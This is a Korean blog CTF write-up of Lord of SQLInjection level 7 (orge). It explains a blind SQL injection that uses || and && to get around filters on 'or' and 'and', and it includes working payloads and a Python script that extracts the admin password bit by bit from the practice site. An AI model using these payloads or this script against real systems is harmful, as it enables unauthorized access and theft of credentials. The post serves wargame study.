본문 바로가기
CTF/los

[CTF] Lord of SQLInjection 7번 orge Write-Up

by spareone 2026. 3. 10.

los 7번 orge Write-Up 입니다.


[그림 1] 문제 메인 페이지

4번 문제랑 비슷한 코드를 가지고 있으며, or과 and가 검열되고 있습니다.

Blind SQL Injection 문제입니다.

select id from prob_orge where id='guest' and pw=''
select pw from prob_orge where id='admin' and pw=''

여기도 쿼리가 2개 있습니다.

위 쿼리는 guest의 id, 아래 쿼리는 admin의 pw를 선택하는 구문입니다.

select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)=8#'

첫 번째 쿼리가 guest로 박혀 있기 때문에 강제로 admin을 선택하도록 해야 합니다.

이렇게 입력하여 pw의 길이를 알아내 봅니다.

[그림 2] admin의 pw를 알아낸 모습

URL Encoding 후 1부터 차례로 데이터를 전달하면 8에서 Hello admin이 나옵니다.

즉, pw는 8글자임을 알 수 있습니다.

 

import requests

def func():
    URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
    cookie = {
        'PHPSESSID' : 'session 값 입력'
    }

    flag_len = 0
    while(True):
        flag_len += 1
        params = {
            'pw' : f"'||id='admin'&&length(pw)={flag_len}#"
        }
        response = requests.get(URL, params=params, cookies=cookie)
        if 'Hello admin' in response.text:
            break
    
    ans = ''
    n = [1, 2, 4, 8, 16, 32, 64]
    for i in range(flag_len):
        res = 0
        for j in n:
            params = {
                'pw' : f"'||id='admin'&&ascii(substr(pw,{i+1},1))&{j}={j}#"
            }
            response = requests.get(URL, params=params, cookies=cookie)
            if 'Hello admin' in response.text:
                res += j
        ans += chr(res)
    
    return ans

if __name__ == '__main__':
    print(func())

 

다음과 같이 자동화 코드를 작성하여 pw를 구할 수 있습니다.

los 로그인을 해야 문제 페이지에 접속할 수 있어서 session 정보도 같이 전달해야 합니다.

[그림 3] 문제 정답 처리

pw를 알아낸 후 데이터를 전달하면 문제가 정답처리 됩니다.

댓글